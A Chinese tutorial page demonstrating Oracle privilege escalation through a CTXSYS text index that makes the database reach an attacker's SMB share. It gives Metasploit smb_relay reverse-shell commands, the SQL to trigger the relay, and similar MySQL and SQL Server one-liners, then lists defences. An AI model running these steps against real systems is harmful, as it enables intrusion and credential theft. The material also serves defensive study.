首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

Oracle 低權限賬戶利用 CTXSYS 提權獲取 OS 訪問 (CVE 風險演示)

     編輯:Oracle 資料庫相關知識

漏洞原理

Oracle 服務以 Administrator/System 高權限運行,且數據庫賃戶擁有 CREATE TABLE、CREATE INDEX 權限 (如默認 DBSNMP : RESOURCE + CONNECT) 時,可構造 CTXSYS.CONTEXT 索引指向 UNC 路徑 (\\attacker\share),誘導 Oracle 進程發起 SMB 連接,配合 Metasploit smb_relay 捕獲 NTLMv2 雜湊並中繼,最終獲得系統 Shell。

實驗環境

  • 攻擊機:Ubuntu 8.10 + Metasploit 3.3-dev
  • 目標庫:Oracle 10.2.0.1.0 (Windows),服務啟動賬戶 Administrator
  • 低權限用戶:DBSNMP (默認口令)

攻擊步驟

  1. 關閉本地 Samba 釋放 445/139 端口:sudo /etc/init.d/samba stop
  2. 啟動 Metasploit SMB Relay:
    use exploit/windows/smb/smb_relay
    set PAYLOAD windows/shell_reverse_tcp
    set LHOST 
    set LPORT 8522
    exploit -j
    監聽 139 (SMB) 與 8522 (Shell) 端口。
  3. 以 DBSNMP 連接 Oracle 執行:
    CREATE TABLE files(id NUMBER PRIMARY KEY, path VARCHAR2(255) UNIQUE, ot_format VARCHAR2(6));
    INSERT INTO files VALUES(1, '\\\\192.168.1.52\\mickey', NULL);
    CREATE INDEX file_idx ON files(path) INDEXTYPE IS ctxsys.context
      PARAMETERS('datastore ctxsys.file_datastore format column ot_format');
  4. 索引創建瞬間,Oracle 進程以 System 權限訪問 UNC 路徑,觸發 SMB Relay,攻擊機獲得 cmd.exe Shell 並抓取 NTLM 雜湊。

擴展:MySQL / SQL Server 同類向量

  • MySQL (高權限服務):SELECT LOAD_FILE('\\\\attacker\share\mk.txt')
  • SQL Server:EXEC master..xp_dirtree '\\attacker\share' (需 xp_cmdshell 或類似)

防禦建議

  1. 最小權限運行服務:Oracle 服務使用專用低權限域用戶,非 Administrator/LocalSystem。
  2. 禁用/移除 CTXSYS:若不使用 Oracle Text,執行 @?/ctx/admin/catnoctx.sql 徹底移除。
  3. 網絡隔離:數據庫服務器出站禁止 445/139,防火牆僅允許必要業務端口。
  4. 審計敏感操作:監控 CREATE INDEX ... INDEXTYPE IS CTXSYS.CONTEXT、LOAD_FILE、xp_dirtree 等語句。
  5. 修補補丁:Oracle CPU 修復了部分 CTXSYS 提權向量,保持補丁最新。

參考資料

Mickey Shkatov, Penetration: from application down to OS (Oracle) (PDF)
dsecrg.com / googlepages

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved